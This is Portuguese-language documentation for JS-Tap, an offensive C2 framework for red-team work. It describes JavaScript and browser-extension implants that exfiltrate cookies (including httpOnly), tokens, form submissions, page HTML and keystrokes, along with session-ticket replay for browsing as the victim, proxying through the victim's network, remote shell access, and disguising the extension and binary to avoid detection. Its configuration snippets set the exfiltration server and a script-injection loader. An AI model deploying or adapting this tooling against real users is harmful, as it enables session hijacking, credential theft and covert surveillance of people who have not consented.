O parâmetro dataDirectory informa ao JS-Tap qual o diretório a utilizar para a base de dados SQLite e o diretório de loot. Nem todo o "loot" é armazenado na base de dados, especialmente capturas de ecrã e ficheiros HTML raspados.
Para alterar a configuração da porta do servidor, veja a última linha do jsTapServer.py``` app.run(debug=False, host='0.0.0.0', port=8444, ssl_context='adhoc')
### Configuração do BEX Beacon (config.json)
Localizado em `bex-beacon/config.json`. Esta é a **única fonte da verdade** para toda a configuração de build — extensões, IDs de extensão e configurações do sidecar.```json
{
"extension": {
"name": "Resource Optimizer",
"short_name": "ResOpt",
"version": "2.1.4",
"description": "Optimizes page resource loading for improved performance.",
"author": "WebPerf Tools",
"homepage_url": "https://www.example.com",
"install_dirname": "webperf-tools"
},
"extension_ids": {
"chrome_key": "",
"chrome_key_pem": "",
"chrome_extension_id": "",
"firefox_extension_id": "bex-beacon@jstap"
},
"js_tap_server": {
"domain": "127.0.0.1",
"port": 8444
},
"heartbeat": {
"base_interval": 5,
"jitter_percent": 30
},
"domain_scoping": {
"whitelist_enabled": false,
"whitelist": [
"https://*.example.com/*",
"http://localhost:8000/*"
]
},
"sidecar": {
"enabled": false,
"host_name": "com.jstap.sidecar",
"binary_name": "sidecar"
}
}
Controla os metadados do manifesto da extensão e a nomenclatura de implantação. Altere esses campos para disfarçar a aparência da extensão em chrome://extensions ou about:addons.
Controla IDs de extensão estáticos para compilações determinísticas. Consulte Static Extension IDs para instruções de configuração.
| Campo | Descrição |
|---|---|
domain | Hostname ou IP do seu servidor JS-Tap. |
port | Porta em que o servidor JS-Tap está ouvindo. |
Controla com que frequência o beacon faz check-in com o servidor para relatar telemetria e buscar novas tarefas (como comandos de injeção ou comandos sidecar).
| Campo | Descrição |
|---|
O jitter é importante para OPSEC — ele impede que o beacon crie um padrão de rede perfeitamente regular que poderia ser detectado por ferramentas de monitoramento de rede. Cada heartbeat agenda o próximo com aleatoriedade renovada.
Controla quais domínios o beacon monitora e com os quais interage.
| Campo | Descrição |
|---|---|
whitelist_enabled |
Quando a whitelist está habilitada, o beacon a impõe em múltiplas camadas:
Isso é crítico para engajamentos de red team com requisitos de escopo rigorosos. Definir whitelist_enabled: true garante que o beacon não interagirá com domínios fora do escopo.
Exemplos de padrões de whitelist:```json "whitelist": [ "https://.targetcorp.com/", "https://app.targetcorp.com/", "http://internal.targetcorp.local:8080/" ]
#### sidecar
Controla o recurso opcional de mensagens nativas no BEX Beacon. Consulte a seção [Sidecar](#sidecar-native-messaging) acima para detalhes completos.
| Campo | Descrição |
|---|---|
| `enabled` | `false` = sem mensagens nativas (padrão). `true` = ativa suporte a sidecar. Adiciona permissão `nativeMessaging` ao manifesto da extensão. |
| `host_name` | O nome do host de mensagens nativas. Padrão: `com.jstap.sidecar` |
| `binary_name` | Nome para o binário sidecar compilado. Padrão: `sidecar`. Altere isso para disfarçar o binário nos sistemas alvo (ex.: `chrome-helper`). |
O script de compilação unificado sincroniza automaticamente os IDs de extensão de `extension_ids` para a configuração do sidecar, então você só precisa configurar os IDs em um único lugar.
### Configuração do JS-Tap Payload (telemlib.js)
Essas variáveis de configuração estão na função **initGlobals()** .
#### Localização do Servidor JS-Tap
Você precisa configurar o payload com a URL do servidor JS-Tap para o qual ele se conectará.```
window.taperexfilServer = "https://127.0.0.1:8444";
Definido como trap ou implant Isso é definido com a variável:``` window.taperMode = "trap"; or window.taperMode = "implant";
#### Página Inicial do Modo Trap
Necessário apenas para o modo trap. Veja explicação na seção **Modos de Operação** acima.<br>
Define a página em que o usuário inicia quando o iFrame trap é configurado.```
window.taperstartingPage = "http://targetapp.com/somestartpage";
Se você quiser que a armadilha comece na página atual, em vez de redirecionar o usuário para uma página diferente na armadilha iframe, você pode usar:``` window.taperstartingPage = window.location.href;
#### Tag do Cliente
Útil se estiver a usar o JS-Tap contra várias aplicações ou implementações ao mesmo tempo e quiser um indicador visual de qual payload foi carregado. Lembre-se de que todo o diretório /payloads é servido; pode ter vários payloads JS-Tap configurados com diferentes modos, páginas iniciais e tags do cliente.
Esta string de tag (mantenha-a curta!) é prefixada ao apelido do cliente no portal JS-Tap. Configure vários payloads, cada um com a configuração adequada para a aplicação contra a qual está a ser utilizado, e adicione uma tag que indique em qual aplicação o cliente está em execução.```
window.taperTag = 'whatever';
Usado para configurar se os clientes estão verificando tarefas Custom Payload e com que frequência elas são verificadas. As configurações de jitter permitem que você defina opcionalmente um modificador de piso e teto. Um valor aleatório entre esses dois números será escolhido e adicionado ao atraso de verificação. Defina ambos como 0 e 0 para nenhum jitter.``` window.taperTaskCheck = true; window.taperTaskCheckDelay = 5000; window.taperTaskJitterBottom = -2000; window.taperTaskJitterTop = 2000;
#### Impressão Digital do Cliente
Isso pode ser ativado para calcular uma impressão digital do cliente com base em vários atributos. Um hash muito curto é criado a partir dessa impressão digital. Esse hash curto pode, opcionalmente, ser exibido no cartão do cliente ativando‑o em **App SettingS**. O filtro da lista de clientes pode ser filtrado por essa impressão digital para identificar vários clientes JS-Tap que provavelmente estão rodando no mesmo computador. Observe que, se uma empresa emitir sistemas idênticos para os usuários, eles podem facilmente obter o mesmo valor de impressão digital.
Para ativar os cálculos de impressão digital no payload do JS-Tap:```
window.taperFingerprint = true;
Mesmo que a impressão digital esteja sendo calculada, ela não aparecerá nos cartões do cliente a menos que o recurso esteja ativado nas Configurações do Aplicativo também.
Observe que você pode filtrar a lista de clientes por hashes de impressão digital para mostrar clientes que têm maior probabilidade de ser o mesmo computador.
Configuração verdadeiro/falso sobre se uma cópia do código HTML de cada página visualizada é exfiltrada. Esses arquivos HTML exfiltrados são necessários para encontrar fontes de token CSRF ao gerar automaticamente payloads personalizados de envio de formulário.``` window.taperexfilHTML = true;
#### Copiar Envios de Formulários
configuração true/false sobre se deve interceptar uma cópia de todos os envios de formulários.```
window.taperexfilFormSubmissions = true;
Ativar monkeypatching das APIs XHR e Fetch. Isso funciona no modo de armadilha (trap). No modo de implante, apenas as APIs Fetch são modificadas. Monkeypatching permite reescrever JavaScript em tempo de execução. Ativar este recurso irá reescrever as APIs de rede XHR e Fetch usadas pelo código JavaScript para interceptar o conteúdo dessas chamadas de rede. Observe que as chamadas de rede baseadas em jQuery e Ajax serão capturadas na API XHR, que elas usam internamente para chamadas de rede. A geração automática de payloads personalizados para chamadas de API depende, obviamente, da interceptação dessas chamadas usando este recurso de monkeypatch.``` window.monkeyPatchAPIs = true;
## Portal JS-Tap
Faça login com as credenciais de administrador fornecidas pelo script do servidor na inicialização (também salvas em `adminCreds.txt`).
### Gerenciamento de Clientes
Os clientes aparecem à esquerda, agrupados por tipo. Use os botões de alternância na parte superior da lista de clientes para alternar entre as visualizações.
* **Apps** — Clientes DOM Beacon (de payloads telemlib.js)
* **Browsers** — Clientes BEX Beacon
* **Electrons** — Clientes Atom Beacon (de aplicativos Electron modificados)
* **Nodes** — Clientes V8 Beacon (de aplicativos CLI Node.js/Bun)
Selecionar um cliente mostrará uma série temporal de seus eventos (saque) à direita. Se você filtrar a lista (por exemplo, mudando de Apps para Browsers), a visualização de saque atualmente selecionada escurecerá e ficará em escala de cinza para indicar que são dados "de fundo".
Quando na visualização **Browsers**, o cabeçalho da coluna de detalhes mostra uma alternância **Saque / Ferramentas**:
* Aba **Saque** — Cartões de domínio mostrando domínios visitados e controles de injeção.
* Aba **Ferramentas** — Painel de Proxy do Navegador (sempre visível) e painel do Sidecar (recolhível, se o beacon suportar).
Os clientes Atom Beacon (na visualização **Electrons**) e clientes V8 Beacon (na visualização **Nodes**) também têm uma alternância **Saque / Ferramentas**. Seu painel de Ferramentas fornece navegação de arquivos integrada e acesso ao shell sem exigir um binário sidecar separado. Os Atom Beacons possuem adicionalmente controles de captura de tela.
**BEX Beacons (Navegadores)** podem ser expandidos para ver todos os domínios que visitaram. Você pode acionar a injeção do DOM Beacon a partir da lista de domínios. Os cartões BEX Beacon na barra lateral exibirão um resumo de qualquer DOM Beacon que eles tenham gerado com sucesso.
A lista de clientes pode ser ordenada por tempo (primeira vez visto, última atualização recebida) e a lista pode ser filtrada para mostrar apenas os clientes "favoritados". Há também uma pesquisa de filtro rápido acima da lista de clientes que permite filtrar rapidamente clientes que contenham a string inserida. Útil se você definir uma tag opcional na configuração do payload. As tags opcionais aparecem precedendo o apelido do cliente. A filtragem é verificada em relação à tag opcional, apelido, endereço IP, impressão digital, navegador, plataforma, tipo de cliente, domínio e UUID. Observe que você pode inverter a pesquisa de filtro precedendo seu termo de pesquisa com '!'. Por exemplo, para mostrar todos os clientes que não usam Firefox, use o termo de filtro "!firefox". Você pode combinar vários termos com `&&` para lógica AND (por exemplo, `linux && chrome && !bex`).
Cada cliente tem um botão 'x' (perto do botão de estrela). Isso permite que você exclua a sessão para aquele cliente; se eles estiverem enviando dados inúteis ou indesejados, você pode impedir que esse cliente envie dados futuros.
Quando o payload JS-Tap é iniciado, ele recupera uma sessão do servidor JS-Tap. Se você quiser impedir que novas sessões de cliente sejam emitidas, selecione **Configurações do Aplicativo** na parte superior e você poderá desabilitar novas sessões de cliente. Você também pode ativar a exibição de "impressões digitais" do cliente, que são valores de hash muito curtos que devem ser únicos para o navegador de um usuário em um sistema específico. Isso pode ajudar a identificar quais clientes JS-Tap podem ser o mesmo indivíduo. Observe que o cliente JS-Tap deve estar configurado para realizar os cálculos de impressão digital. A barra de pesquisa de filtro de cliente também pesquisa o campo de impressão digital, facilitando a exibição de clientes com impressões digitais idênticas.
Você também pode configurar notificações por e-mail em **Configurações do Aplicativo** para notificar sobre novos clientes ou novos eventos para clientes. Isso é baseado apenas em SMTP (TLS), e você pode enviar os e-mails de notificação para vários destinatários. Uma opção de "atraso de e-mail" evita spam constante de e-mail; você receberá um e-mail resumido de todas as notificações que ocorreram no período de atraso.
Você pode alterar a frequência com que a lista de clientes é atualizada automaticamente nas **Configurações do Aplicativo** e também pode bloquear endereços IP específicos de receber uma sessão JS-Tap aqui.
Se você quiser ocultar melhor o tráfego de rede JS-Tap da inspeção, em **Configurações do Aplicativo** ative a ofuscação de tráfego. Isso funcionará em aplicações que usam HTTPS onde a API webcrypto está disponível. O cliente JS-Tap criptografará todo o tráfego no nível da aplicação e o enviará para um único endpoint de API no servidor C2, que o descriptografará e o roteará no lado do servidor. As respostas do C2 JS-Tap (como payloads personalizados) também vêm deste único endpoint de API e também são criptografadas. Observe que, se o navegador monitorado não suportar a API web crypto, o JS-Tap recorrerá ao tráfego tradicional não ofuscado.
Cada cliente tem um recurso de "notas". Se você encontrar informações interessantes para aquele cliente específico (credenciais, tokens de API, etc.), você pode adicioná-las às notas do cliente. Depois de revisar todos os seus clientes e fazer suas anotações, o recurso **Ver Todas as Notas** na parte superior permite exportar todas as notas de todos os clientes de uma só vez.
A lista de eventos pode ser filtrada por tipo de evento se você estiver tentando focar em algo específico, como capturas de tela. Para clientes DOM Beacon, a lista de eventos/saque _não_ é atualizada automaticamente (a lista de clientes é) — se você quiser carregar os eventos mais recentes, precisa selecionar o cliente novamente à esquerda. Os clientes Atom Beacon e BEX Beacon usam uma visualização de eventos com atualização automática que anexa incrementalmente novos eventos sem redefinir sua posição de rolagem.
### Injeção BEX
Ao visualizar a inteligência de domínio de um Beacon, você pode clicar em **Injetar DOM Beacon** para enfileirar uma injeção.
* Um selo "SUCESSO" aparecerá assim que o script de injeção for solicitado.
* O apelido do DOM Beacon gerado será automaticamente vinculado e exibido no cartão de domínio e no cartão da barra lateral do beacon.
* As injeções ocorrem imediatamente se o usuário estiver atualmente no domínio alvo, ou na próxima visita.
### Tickets JS-Tap & Condutor JS-Tap (Clonagem de Sessão)
O BEX Beacon captura cookies (incluindo httpOnly), localStorage, sessionStorage e cabeçalhos de autorização para cada domínio que o alvo visita. **Tickets JS-Tap** permitem que você exporte todos esses dados de sessão como um bloco portátil, e o **Condutor JS-Tap** os reproduz no seu próprio navegador para que você possa navegar como a vítima.
#### Gerando um Ticket JS-Tap
1. No portal JS-Tap, selecione um cliente BEX Beacon e expanda sua lista de domínios.
2. Clique no botão **Ticket de Sessão** no cartão de domínio que você deseja clonar.
3. O ticket é copiado para sua área de transferência como uma string codificada em base64.
Um ticket contém:
* Todos os cookies para o domínio (com metadados httpOnly, secure, sameSite, path, domain e expiration)
* Cabeçalhos de solicitação capturados (Authorization, x-api-key, etc.)
* Pares chave/valor de localStorage e sessionStorage
* A string User-Agent bruta da vítima, plataforma e navegador
* URLs visitadas para o domínio (mais recentes primeiro)
**Importante:** Certifique-se de gerar o ticket a partir da entrada de domínio correta. Por exemplo, `reddit.com` e `www.reddit.com` são entradas de domínio separadas nos dados do beacon — escolha a que contém os cookies de autenticação.
#### Instalando o Condutor JS-Tap
O Condutor JS-Tap é uma extensão independente Firefox MV2. **Deve ser Firefox** — ele depende da API `webRequestBlocking` do Firefox MV2 para injetar cabeçalhos em solicitações de saída, o que o Chrome MV3 não suporta.
Para carregá-lo como uma extensão temporária:
1. Abra o Firefox e navegue até `about:debugging#/runtime/this-firefox`
2. Clique em **"Carregar Extensão Temporária..."**
3. Navegue até o diretório `jstap-conductor/` e selecione `manifest.json`
O ícone do Condutor JS-Tap (o logotipo JS-Tap) aparecerá na barra de ferramentas do Firefox. As extensões temporárias persistem até que o Firefox seja fechado — você precisará recarregá-las após uma reinicialização.
#### Usando o Condutor JS-Tap
1. Clique no ícone do Condutor JS-Tap na barra de ferramentas para abrir o pop-up.
2. Cole o ticket JS-Tap na área de texto e clique em **Importar**.
3. O Condutor JS-Tap irá:
* **Definir todos os cookies** para o domínio, incluindo cookies httpOnly (as extensões têm esse privilégio).
* **Registrar injeção de cabeçalho** — Cabeçalhos de Autorização e outros cabeçalhos capturados são injetados em cada solicitação correspondente via `webRequest.onBeforeSendHeaders`.
* **Falsificar User-Agent** — A string User-Agent da vítima substitui a sua em todos os cabeçalhos de solicitação de saída para aquele domínio.
* **Preencher armazenamento** — As entradas localStorage e sessionStorage são escritas quando você navega para o domínio.
* **Falsificar APIs de navegador** — Mesmo que você esteja executando o Firefox, `navigator.userAgent`, `navigator.platform` e `navigator.appVersion` são corrigidos no contexto JavaScript da página para retornar os valores da vítima. Isso derrota as verificações de UA do lado do cliente.
4. Clique em **Abrir** no ticket importado para navegar até a primeira URL capturada, ou navegue manualmente para o domínio.
5. Agora você deve estar navegando como a sessão da vítima.
O pop-up mostra um **histórico de tickets** (últimos 10 tickets) com contagens de selo para cookies, cabeçalhos, itens localStorage e sessionStorage. Tanto tickets de sessão quanto tickets de proxy aparecem no histórico. Cada ticket pode ser ativado/desativado ou excluído. Os tickets de proxy são visualmente distinguidos com um selo "proxy" mostrando a porta de destino e os domínios.
Use **Desativar** para desabilitar a injeção de sessão de um ticket sem perdê-lo, ou **Excluir** para removê-lo permanentemente.
#### Verificando se Funciona
* **Cookies:** Abra as Ferramentas do Desenvolvedor do Firefox → Armazenamento → Cookies. Você deve ver todos os cookies importados, incluindo os httpOnly.
* **Cabeçalhos:** Abra as Ferramentas do Desenvolvedor → guia Rede. Verifique se os cabeçalhos Autorização e User-Agent nas solicitações de saída correspondem aos valores da vítima.
* **Armazenamento:** Abra as Ferramentas do Desenvolvedor → Armazenamento → Armazenamento Local / Armazenamento de Sessão. Verifique se as chaves importadas estão presentes.
* **Falsificação de navegador:** Abra o console do navegador e digite `navigator.userAgent` — ele deve retornar a string UA da vítima, não a do Firefox.
### Proxy do Navegador
O Proxy do Navegador permite que você roteie o tráfego do seu navegador através do navegador da vítima (ou processo Node.js/Electron) em tempo real. As solicitações são executadas a partir do contexto de rede da vítima, então o site alvo vê o IP e a impressão digital TLS da vítima.
O proxy é suportado por **BEX Beacons**, **Atom Beacons** e **V8 Beacons**.
#### Como Funciona
1. Selecione um beacon no portal e mude para a guia **Ferramentas**.
2. Clique em **Iniciar Proxy** no painel do Proxy do Navegador. O servidor aloca uma porta local (mostrada no painel).
3. Configure seu navegador para usar `127.0.0.1:<porta>` como um proxy HTTP/HTTPS.
4. Baixe o **Certificado CA** e instale-o no repositório de certificados do seu navegador (necessário para MITM HTTPS).
5. Navegue normalmente — todas as solicitações são encaminhadas através da conexão WebSocket do beacon e executadas a partir da rede da vítima.
O proxy realiza terminação TLS usando certificados gerados dinamicamente por domínio assinados pela CA JS-Tap. Isso permite inspecionar e retransmitir o tráfego HTTPS de forma transparente.
#### Fluxos de Trabalho Combináveis
O proxy é um "tubo burro" — ele encaminha exatamente o que o navegador do operador envia, sem injetar ou modificar credenciais. Isso o torna combinável com Tickets de Sessão para quatro fluxos de trabalho distintos:
| Fluxo de Trabalho | Configuração | Resultado |
|---|---|---|
| **Apenas proxy** | Iniciar proxy, sem ticket de sessão | Navegação não autenticada através da rede/IP da vítima |
| **Apenas ticket de sessão** | Importar ticket de sessão no Condutor, sem proxy | Navegação autenticada diretamente do IP do operador |
| **Proxy + ticket de sessão** | Tanto proxy quanto ticket de sessão ativos | Navegação autenticada através da rede da vítima — o Condutor injeta cookies/cabeçalhos/UA no navegador do operador, o proxy MITM os encaminha para o beacon |
| **Proxy + próprio login** | Iniciar proxy, fazer login manualmente através do proxy | Sessão própria do operador através da rede da vítima |
Para o fluxo de trabalho **Proxy + ticket de sessão**, o Condutor JS-Tap lida com toda a injeção de sessão (cookies, cabeçalhos, User-Agent, armazenamento, falsificação de navegador). O proxy MITM encaminha a solicitação completa do operador — incluindo cabeçalhos injetados — para o beacon, que executa a busca a partir da rede da vítima.
#### Tickets de Proxy
Enquanto o proxy estiver ativo, você pode clicar em **Ticket de Proxy** para gerar um ticket compatível com o Condutor JS-Tap que configura automaticamente as configurações de proxy do Condutor. Importe o ticket de proxy no Condutor para rotear o tráfego do Firefox através do beacon sem configurar manualmente as configurações de proxy.
### Usando o Painel do Sidecar / Ferramentas
Quando um cliente BEX Beacon tem o Sidecar conectado, a guia **Ferramentas** mostrará um painel **Sidecar** (recolhido por padrão, abaixo do painel do Proxy do Navegador). Os clientes Atom Beacon e V8 Beacon mostram o mesmo painel como **Ferramentas** com um selo **Integrado** (já que o acesso ao SO é nativo do agente). O painel tem guias:
#### Guia do Navegador de Arquivos
* O navegador de arquivos lista automaticamente o diretório inicial do usuário quando o painel é carregado pela primeira vez
* Navegue clicando nos nomes das pastas ou na entrada `..` para subir um diretório
* A entrada de caminho sempre reflete sua localização atual e pode ser editada manualmente
* Clique em **Ler** em um arquivo para visualizar seu conteúdo (decodificado em base64 e exibido como texto)
* Clique em **Voltar à listagem de diretórios** para retornar da visualização do arquivo
* **Upload:** Selecione um arquivo e clique em **Upload** para escrevê-lo no diretório atual navegado. A listagem é atualizada automaticamente após um upload bem-sucedido. O tamanho máximo do arquivo é 700 KB.
#### Guia do Shell
* Um terminal interativo com rastreamento do diretório de trabalho atual (CWD) entre comandos
* O prompt exibe seu diretório atual no sistema alvo (por exemplo, `/home/user $ `)
* Digite um comando e pressione **Enter** ou clique em **Executar** para executar
* O CWD persiste entre comandos (`cd /tmp` seguido por `ls` listará `/tmp`)
* **Histórico de comandos:** Use as teclas de seta **Cima/Baixo** para percorrer comandos anteriores
* **Destacar:** Clique no botão **Destacar** para abrir o shell em uma janela independente com sua própria barra de título, histórico completo de comandos e operação independente
* A saída é codificada por cores: verde para prompts, branco para stdout, vermelho para stderr
* O rastreamento de CWD usa sintaxe de shell POSIX e funciona em alvos Linux/macOS
#### Guia de Capturas de Tela (apenas Atom Beacon)
* **Capturar Agora** — Acione manualmente uma captura de tela de todas as janelas rastreadas
* **Alternâncias de captura automática** — Ativar/desativar capturas de tela automáticas em eventos de foco de janela, navegação e nova janela
* **Tempo de espera** — Segundos mínimos entre capturas automáticas por janela (padrão: 30, mínimo: 5)
* Clique em **Salvar Configurações** para enviar alterações de alternância/tempo de espera ao agente em tempo real
**Observação:** Os comandos são assíncronos. Quando você envia um comando, a interface pesquisa por resultados. O beacon/agente deve fazer check-in (heartbeat) para pegar o comando e enviar o resultado de volta. Com configurações de heartbeat padrão, espere alguns segundos de atraso.
### Payloads Personalizados
Vários payloads JavaScript podem ser adicionados no portal JS-Tap e executados em um único cliente, em todos os clientes atuais ou configurados para execução automática em todos os clientes futuros. Os payloads podem ser escritos/editados dentro do portal JS-Tap, ou importados de um arquivo. Os payloads também podem ser exportados. O formato para importar payloads é JSON simples. O código JavaScript e a descrição são simplesmente codificados em base64.```
[{"code":"YWxlcnQoJ1BheWxvYWQgMSBmaXJpbmcnKTs=","description":"VGhlIGZpcnN0IHBheWxvYWQ=","name":"Payload 1"},{"code":"YWxlcnQoJ1BheWxvYWQgMiBmaXJpbmcnKTs=","description":"VGhlIHNlY29uZCBwYXlsb2Fk","name":"Payload 2"}]
Se o seu payload personalizado precisar exfiltrar dados, você pode usar o método customExfil(note, data). Chamar este método no seu payload personalizado enviará esses dados de texto de volta ao JS-Tap e eles serão exibidos como um evento nos dados de loot.
A interface principal para payloads personalizados está na barra de menu superior. Selecione Custom Payloads para abrir a interface. Quaisquer payloads existentes serão mostrados em uma lista à esquerda. A barra de botões permite importar e exportar a lista. Os payloads podem ser editados no lado direito, embora você possa pressionar o botão Expand Code para obter um painel de edição de código maior. Para carregar um payload existente para edição, selecione o payload clicando nele na lista Saved Payloads. Depois de definir e salvar payloads, você pode executá-los nos clientes.
Na visão principal de Custom Payloads, você pode executar um payload em todos os clientes atuais (o botão Run). Você também pode ativar o atributo Autorun de um payload, o que significa que todos os novos clientes executarão o payload. Observe que os clientes existentes não executarão um payload com base na configuração de Autorun.
Você pode ativar Repeat e o payload será alocado para cada cliente quando eles verificarem tarefas. Lembre-se, a taxa com que um cliente verifica tarefas de payload personalizado é variável, e essa taxa pode ser alterada na configuração principal do payload do JS-Tap. Essa taxa pode ser alterada com um payload personalizado (chamando a função updateTaskCheckInterval(newDelay)). O jitter no atraso da verificação de tarefa pode ser definido com a função updateTaskCheckJitter(newTop, newBottom).
O botão Clear All Jobs na interface de payload personalizado excluirá todos os jobs de payload personalizado da fila de todos os clientes e redefinirá as alternâncias de execução automática/repetição.
Para executar um payload em um único cliente, use o botão Run Payload no cliente específico em que deseja executá-lo e, em seguida, pressione o botão Run para o payload específico que deseja usar. Você também pode definir Repeat em clientes individuais.
As regras de segmentação permitem executar automaticamente payloads em clientes que correspondem a critérios específicos, em vez de selecionar manualmente clientes individuais ou executar cegamente em todos os clientes.
Clique no botão Add Rule em um payload para criar uma regra de segmentação. As regras usam a mesma sintaxe de filtro da barra de pesquisa de clientes:
&& para combinar termos (ex.: linux && chrome)! para negá-lo (ex.: !bex-beacon)Exemplo: linux && chrome && !bex corresponderá a todos os clientes Linux Chrome que não sejam BEX Beacons.
Antes de salvar uma regra, você pode clicar em Preview para ver quais clientes atualmente conectados corresponderiam. A pré-visualização mostra mini cartões de cliente com as mesmas informações da lista principal de clientes (tag/nickname, timestamps, IP, platform, browser, domain).
Cada regra de segmentação tem seus próprios controles Autorun, Repeat e Run que funcionam da mesma forma que os botões de nível de payload, mas afetam apenas os clientes que correspondem à consulta de filtro da regra. Você também pode Editar ou Excluir regras individuais. Um payload pode ter várias regras de segmentação.
O JS-Tap inclui a capacidade de gerar automaticamente payloads personalizados. Este recurso aproveita a capacidade de interceptar envios de formulários e chamadas de API XHR/Fetch. O JS-Tap pode usar essas comunicações interceptadas como um protótipo para construir um payload.
Os parâmetros na solicitação serão definidos por variáveis no topo do payload autogerado, facilitando a modificação da ação que está sendo executada. Os envios de formulários que precisam de um token CSRF e as chamadas de API XHR/Fetch que exigem um cabeçalho de Autorização serão tratados pelo assistente de imitação; você pode selecionar esses valores no envio de formulário/chamada de API interceptado e o JS-Tap pesquisará em seu banco de dados para determinar de onde esses valores vêm.
Um payload será gerado que primeiro busca o valor atual desses itens no navegador do usuário, já que esses valores provavelmente serão diferentes ao longo do tempo e entre diferentes usuários. Os valores recuperados serão usados na solicitação subsequente que passa seus parâmetros modificados para o servidor para executar a ação que está sendo "imitada".
Se você pular a busca por esses valores, a solicitação não os tiver, ou o JS-Tap não conseguir encontrar a origem, um payload será gerado que usa os tokens CSRF e os valores do cabeçalho de Autorização da solicitação interceptada original.
Para usar o recurso de imitação para criar payloads autogerados, encontre um envio de formulário ou chamada de API interceptado e pressione o botão Create Mimic Payload no cartão de evento na coluna de loot. Isso abrirá o assistente onde você seleciona um token CSRF (para envios de formulário) ou cabeçalhos de Autorização para chamadas de API. Você precisará copiar o nome do parâmetro/cabeçalho para o campo de nome e o valor do token para o campo de valor. Feito isso, pressione o botão Search para deixar o JS-Tap determinar onde esses valores estão armazenados ou de onde são recuperados.
Se o JS-Tap encontrar a origem desses valores, pressionar próximo gerará o payload e o inserirá no sistema C2 como um novo payload. Altere o nome do payload, a descrição e os valores dos parâmetros no topo do código gerado para as configurações desejadas e salve. Você pode então executar esse payload nos clientes JS-Tap.
JS-Tap/ ├── buildAll.py # Unified build script (extensions + sidecar + deploy bundles) ├── jsTapServer.py # Flask C2 server (all routes, models, logic) ├── jstapRun.sh # Gunicorn production launcher ├── requirements.txt # Python dependencies ├── index.html # Dashboard HTML ├── login.html # Login page ├── payloads/ │ └── telemlib.js # DOM Beacon payload ├── protectedStatic/ │ └── main.js # All dashboard UI logic ├── proxy/ # Browser Proxy (MITM proxy server) │ ├── server.py # Threaded proxy server, WebSocket relay, MITM TLS │ └── certs.py # Dynamic per-domain certificate generation ├── jstap-conductor/ # Session replay Firefox extension (standalone MV2) │ ├── manifest.json # Firefox MV2 manifest │ ├── icon.svg # Extension icon (JS-Tap logo) │ ├── background/ # Cookie setting, header injection, UA spoofing │ ├── content/ # Storage injection, navigator property spoofing │ └── popup/ # Ticket import UI ├── bex-beacon/ # Browser extension (WXT + legacy) │ ├── config.json # Central configuration (extensions, IDs, sidecar) │ ├── wxt.config.ts # WXT build config │ ├── package.json # Node dependencies │ ├── buildBexBeacon.py # Legacy extension builder │ ├── entrypoints/ │ │ ├── background/ # Service worker (heartbeat, tasks, encryption) │ │ └── content/ # Content script (DOM instrumentation) │ ├── utils/ │ │ ├── config.ts # Config translation + whitelist helpers │ │ ├── crypto.ts # AES-GCM encryption/decryption helpers │ │ ├── proxy.ts # Browser Proxy WebSocket client + fetch relay │ │ └── sidecar.ts # Native messaging module │ ├── src-chrome-extension/ # Legacy Chrome MV3 template │ └── src-firefox-extension/ # Legacy Firefox MV2 template ├── atom-beacon/ # Electron app implant patcher │ ├── atomize.py # Patcher CLI (analyze + patch Electron apps) │ ├── atomize.spec # PyInstaller spec for building atomize.exe (Windows) │ ├── asar.py # Pure-Python ASAR archive handling (extract/pack/patch) │ └── payload/ │ ├── atom-agent.js # Main process agent (C2, encryption, OS access, screenshots) │ └── atom-telemlib.js # Renderer payload (keylogging, DOM capture, network interception) ├── v8-beacon/ # Node.js / Bun CLI implant │ ├── v8ize.py # Build script (template variable replacement) │ └── payload/ │ └── v8-agent.js # V8 Beacon agent (network hooks, stdin capture, C2) ├── plugins/ # Beacon plugins (loaded at runtime via C2) │ ├── example/ # Example plugin template │ │ ├── manifest.json # Plugin metadata (id, name, targetApps, capabilities) │ │ ├── main.js # Plugin entry point (documents full plugin API) │ │ └── ui.html # Optional operator-facing UI panel │ └── mattermost/ # Mattermost-specific plugin ├── sidecar/ # Native messaging Go binary │ ├── main.go # Message loop (native messaging protocol) │ ├── commands.go # Command handlers (list_dir, read_file, exec_cmd) │ ├── go.mod # Go module │ ├── config.json # Auto-synced from central config by buildAll.py │ ├── buildSidecar.py # Cross-compile + generate install scripts │ └── uninstall.sh # Remove sidecar binary + manifests for testing ├── build/ # Build output (gitignored) │ ├── chrome-mv3/ # Unpacked Chrome extension │ ├── firefox-mv2/ # Unpacked Firefox extension │ ├── extension.crx # Packed Chrome extension │ ├── extension.xpi # Packed Firefox extension │ ├── sidecar/ # Sidecar binaries + manifests │ └── deploy/ # Self-contained deploy bundles (.tar.gz/.zip) └── tools/ # Testing utilities ├── clientSimulator.py # Async client simulator (argparse-based) ├── monkeyPatchApp/ # XHR/Fetch monkeypatch test app │ └── monkeyPatchLab.py ├── defconApp/ # XHR test app (defcon level changer) │ └── defconServer.py ├── spaTestApp/ # SPA test app for Fetch API testing │ └── spaServer.py ├── formParser.py # (Legacy) HTML form parser └── generateIntelReport.py # (Legacy) PDF report generator
## Ferramentas
Algumas ferramentas estão incluídas no subdiretório `tools`.
### clientSimulator.py
Um simulador de cliente assíncrono que cria 12 clientes falsos diversos (várias combinações de SO/navegador), registra-os no servidor, envia dados de saque realistas e consulta tarefas de payload personalizadas. Útil para testar regras de segmentação, filtragem de correspondência, comportamento de execução automática/repetição e entrega de payload personalizada.```bash
python3 tools/clientSimulator.py
Opções:``` --server URL JS-Tap server URL (default: https://127.0.0.1:8444) --loot-rounds N Rounds of fake loot per client (default: 2, 0 = continuous) --poll-interval N Seconds between payload polls (default: 3) --no-loot Register and poll only, skip sending fake loot
JS-Tap executado com gunicorn escala muito bem.
### MonkeyPatchApp
Uma simples aplicação usada para testar monkeypatching de XHR/Fetch, mas pode lhe dar uma aplicação simples para testar o payload em geral.
Execute com:```bash
python3 tools/monkeyPatchApp/monkeyPatchLab.py
Por padrão, isso iniciará a aplicação em execução em:``` https://127.0.0.1:8443
Pressionar o botão "Inject JS-Tap payload" executará o payload DOM Beacon. Isso funciona tanto para o modo implant quanto para o modo trap. Talvez seja necessário apontar o aplicativo monkeyPatchLab para um novo local do servidor JS-Tap para carregar o arquivo de payload; você pode encontrar essa configuração na função **injectPayload()** em **main.js**```
function injectPayload()
{
document.head.appendChild(Object.assign(document.createElement('script'),
{src:'https://127.0.0.1:8444/lib/telemlib.js',type:'text/javascript'}));
}
Outro aplicativo simples semelhante ao MonkeyPatchApp, no entanto, as chamadas de API XHR neste aplicativo fazem uma mudança visível no aplicativo (alterando o nível "defcon").
